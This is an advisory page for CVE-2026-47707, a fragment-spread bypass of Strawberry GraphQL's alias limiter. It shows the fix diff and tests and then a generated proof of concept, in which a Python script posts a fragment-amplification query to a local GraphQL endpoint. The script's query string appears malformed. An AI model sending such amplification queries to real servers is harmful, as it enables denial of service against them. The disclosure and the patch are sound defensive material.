VYPR
Medium severity5.3NVD Advisory· Published Jun 4, 2026· Updated Jun 4, 2026

CVE-2026-47707

CVE-2026-47707

Description

Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion. Version 0.315.7 contains a fix for the issue.

Affected products

2

Patches

1
a69221fb0b86

fix fragment issues (#4421)

https://github.com/strawberry-graphql/strawberryPatrick ArminioMay 19, 2026Fixed in 0.315.7via llm-release-walk
6 files changed · +138 9
  • .github/workflows/release.yml+0 1 modified
    @@ -75,4 +75,3 @@ jobs:
             env:
               TYPEFULLY_API_KEY: ${{ secrets.TYPEFULLY_API_KEY }}
               TYPEFULLY_SOCIAL_SET_ID: ${{ secrets.TYPEFULLY_SOCIAL_SET_ID }}
    -
    
  • RELEASE.md+12 0 added
    @@ -0,0 +1,12 @@
    +---
    +release type: patch
    +---
    +
    +This release fixes validation of fragment spreads in `QueryDepthLimiter` and
    +`MaxAliasesLimiter`.
    +
    +`QueryDepthLimiter` now tracks visited fragments while calculating operation depth,
    +preventing circular fragment references from causing unbounded recursion.
    +
    +`MaxAliasesLimiter` now expands fragment spreads when counting aliases, so aliases
    +declared inside fragments are counted each time the fragment is used.
    
  • strawberry/extensions/max_aliases.py+35 5 modified
    @@ -1,8 +1,12 @@
    +from collections.abc import Mapping
    +
     from graphql import (
    -    ExecutableDefinitionNode,
         FieldNode,
    +    FragmentDefinitionNode,
    +    FragmentSpreadNode,
         GraphQLError,
         InlineFragmentNode,
    +    OperationDefinitionNode,
         ValidationContext,
         ValidationRule,
     )
    @@ -43,13 +47,18 @@ def create_validator(max_alias_count: int) -> type[ValidationRule]:
         class MaxAliasesValidator(ValidationRule):
             def __init__(self, validation_context: ValidationContext) -> None:
                 document = validation_context.document
    +            fragments = {
    +                definition.name.value: definition
    +                for definition in document.definitions
    +                if isinstance(definition, FragmentDefinitionNode)
    +            }
                 def_that_can_contain_alias = (
                     def_
                     for def_ in document.definitions
    -                if isinstance(def_, (ExecutableDefinitionNode))
    +                if isinstance(def_, OperationDefinitionNode)
                 )
                 total_aliases = sum(
    -                count_fields_with_alias(def_node)
    +                count_fields_with_alias(def_node, fragments)
                     for def_node in def_that_can_contain_alias
                 )
                 if total_aliases > max_alias_count:
    @@ -62,11 +71,21 @@ def __init__(self, validation_context: ValidationContext) -> None:
     
     
     def count_fields_with_alias(
    -    selection_set_owner: ExecutableDefinitionNode | FieldNode | InlineFragmentNode,
    +    selection_set_owner: (
    +        OperationDefinitionNode
    +        | FragmentDefinitionNode
    +        | FieldNode
    +        | InlineFragmentNode
    +    ),
    +    fragments: Mapping[str, FragmentDefinitionNode] | None = None,
    +    visited_fragments: frozenset[str] | None = None,
     ) -> int:
         if selection_set_owner.selection_set is None:
             return 0
     
    +    if visited_fragments is None:
    +        visited_fragments = frozenset()
    +
         result = 0
     
         for selection in selection_set_owner.selection_set.selections:
    @@ -76,7 +95,18 @@ def count_fields_with_alias(
                 isinstance(selection, (FieldNode, InlineFragmentNode))
                 and selection.selection_set
             ):
    -            result += count_fields_with_alias(selection)
    +            result += count_fields_with_alias(selection, fragments, visited_fragments)
    +        if isinstance(selection, FragmentSpreadNode) and fragments:
    +            fragment_name = selection.name.value
    +            fragment = fragments.get(fragment_name)
    +            if fragment is None or fragment_name in visited_fragments:
    +                continue
    +
    +            result += count_fields_with_alias(
    +                fragment,
    +                fragments,
    +                visited_fragments | {fragment_name},
    +            )
     
         return result
     
    
  • strawberry/extensions/query_depth_limiter.py+12 1 modified
    @@ -223,7 +223,11 @@ def determine_depth(
         context: ValidationContext,
         operation_name: str,
         should_ignore: ShouldIgnoreType | None,
    +    visited_fragments: frozenset[str] | None = None,
     ) -> int:
    +    if visited_fragments is None:
    +        visited_fragments = frozenset()
    +
         if depth_so_far > max_depth:
             context.report_error(
                 GraphQLError(
    @@ -261,18 +265,24 @@ def determine_depth(
                     context=context,
                     operation_name=operation_name,
                     should_ignore=should_ignore,
    +                visited_fragments=visited_fragments,
                 )
                 for selection in node.selection_set.selections
             )
         if isinstance(node, FragmentSpreadNode):
    +        fragment_name = node.name.value
    +        if fragment_name in visited_fragments:
    +            return 0
    +
             return determine_depth(
    -            node=fragments[node.name.value],
    +            node=fragments[fragment_name],
                 fragments=fragments,
                 depth_so_far=depth_so_far,
                 max_depth=max_depth,
                 context=context,
                 operation_name=operation_name,
                 should_ignore=should_ignore,
    +            visited_fragments=visited_fragments | {fragment_name},
             )
         if isinstance(
             node, (InlineFragmentNode, FragmentDefinitionNode, OperationDefinitionNode)
    @@ -286,6 +296,7 @@ def determine_depth(
                     context=context,
                     operation_name=operation_name,
                     should_ignore=should_ignore,
    +                visited_fragments=visited_fragments,
                 )
                 for selection in node.selection_set.selections
             )
    
  • tests/schema/extensions/test_max_aliases.py+48 0 modified
    @@ -131,6 +131,54 @@ def test_alias_in_fragment():
         assert result.errors[0].message == "2 aliases found. Allowed: 1"
     
     
    +def test_repeated_fragment_spreads_count_expanded_aliases():
    +    query = """
    +    fragment humanInfo on Human {
    +      email_address: email
    +      full_name: name
    +    }
    +    query read {
    +      matt: user(name: "matt") {
    +        ...humanInfo
    +      }
    +      jane: user(name: "jane") {
    +        ...humanInfo
    +      }
    +    }
    +    """
    +
    +    result = _execute_with_max_aliases(query, 4)
    +
    +    assert result.errors is not None
    +    assert len(result.errors) == 1
    +    assert result.errors[0].message == "6 aliases found. Allowed: 4"
    +
    +
    +def test_circular_fragment_spreads_do_not_recurse_forever():
    +    query = """
    +    fragment A on Human {
    +      email_address: email
    +      ...B
    +    }
    +    fragment B on Human {
    +      ...A
    +    }
    +    query read {
    +      user(name: "matt") {
    +        ...A
    +      }
    +    }
    +    """
    +
    +    result = _execute_with_max_aliases(query, 10)
    +
    +    assert result.errors is not None
    +    assert any(
    +        error.message == "Cannot spread fragment 'A' within itself via 'B'."
    +        for error in result.errors
    +    )
    +
    +
     def test_2_top_level_1_nested():
         query = """{
           matt: user(name: "matt") {
    
  • tests/schema/extensions/test_query_depth_limiter.py+31 2 modified
    @@ -84,7 +84,10 @@ def cat(bio: Biography) -> Cat:
     
     
     def run_query(
    -    query: str, max_depth: int, should_ignore: ShouldIgnoreType = None
    +    query: str,
    +    max_depth: int,
    +    should_ignore: ShouldIgnoreType = None,
    +    include_specified_rules: bool = True,
     ) -> tuple[list[GraphQLError], dict[str, int] | None]:
         document = parse(query)
     
    @@ -95,11 +98,16 @@ def callback(query_depths):
             result = query_depths
     
         validation_rule = create_validator(max_depth, should_ignore, callback)
    +    rules = (
    +        (*specified_rules, validation_rule)
    +        if include_specified_rules
    +        else (validation_rule,)
    +    )
     
         errors = validate(
             schema._schema,
             document,
    -        rules=(*specified_rules, validation_rule),
    +        rules=rules,
         )
     
         return errors, result
    @@ -213,6 +221,27 @@ def test_should_count_with_fragments():
         assert result == expected
     
     
    +def test_circular_fragments_do_not_recurse_forever():
    +    query = """
    +    fragment A on Human {
    +      ...B
    +    }
    +    fragment B on Human {
    +      ...A
    +    }
    +    query Crash {
    +      user {
    +        ...A
    +      }
    +    }
    +    """
    +
    +    errors, result = run_query(query, 10, include_specified_rules=False)
    +
    +    assert not errors
    +    assert result == {"Crash": 1}
    +
    +
     def test_should_ignore_the_introspection_query():
         errors, result = run_query(get_introspection_query(), 10)
         assert not errors
    

Vulnerability mechanics

Root cause

"The MaxAliasesLimiter extension does not account for the multiplicative effect of FragmentSpreadNode when calculating alias limits."

Attack vector

An attacker crafts a GraphQL query that includes a fragment with multiple aliases. This fragment is then spread multiple times within the main query. Although the static analysis of the Abstract Syntax Tree (AST) may appear to be within the defined alias limit, the execution engine expands the fragment's aliases for each spread, leading to a significantly higher number of actual alias resolutions than permitted. This bypasses the intended security constraint [ref_id=1].

Affected code

The vulnerability lies within the `MaxAliasesLimiter` extension, specifically in the alias counting logic in `strawberry/extensions/max_aliases.py`. The current implementation performs a static count of aliases within the AST, failing to consider the multiplication factor introduced by `FragmentSpreadNode` when it is used multiple times [ref_id=1].

What the fix does

The patch addresses the vulnerability by correctly accounting for the amplification effect of FragmentSpreadNode. It modifies the alias counting mechanism to consider how many times a fragment's internal aliases are expanded during execution, rather than just performing a static sum of the AST text. This ensures that the total number of resolved aliases does not exceed the configured maximum, preventing resource exhaustion attacks [patch_id=4798356].

Preconditions

  • configThe `MaxAliasesLimiter` extension must be enabled and configured with a `max_alias_count`.
  • inputThe server must be running a GraphQL endpoint that uses the Strawberry framework.

Reproduction

```python import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import MaxAliasesLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

# Limit is set to 20 aliases schema = strawberry.Schema( query=Query, extensions=[MaxAliasesLimiter(max_alias_count=20)] )

app = FastAPI() app.include_router(GraphQLRouter(schema), prefix="/graphql") ```

```python import httpx

payload = { "query": """ fragment Amplification on User { a1: name, a2: name, a3: name, a4: name, a5: name, a6: name, a7: name, a8: name, a9: name, a10: name } query Bypass { u1: user { ...Amplification } u2: user { ...Amplification } u3: user { ...Amplification } u4: user { ...Amplification } u5: user { ...Amplification } u6: user { ...Amplification } u7: user { ...Amplification } u8: user { ...Amplification } u9: user { ...Amplification } u10: user { ...Amplification } } " }

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(f"Status: {response.status_code}") # The response will contain 100 'a' aliases nested within 10 'u' aliases. print(response.json()) ```

Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.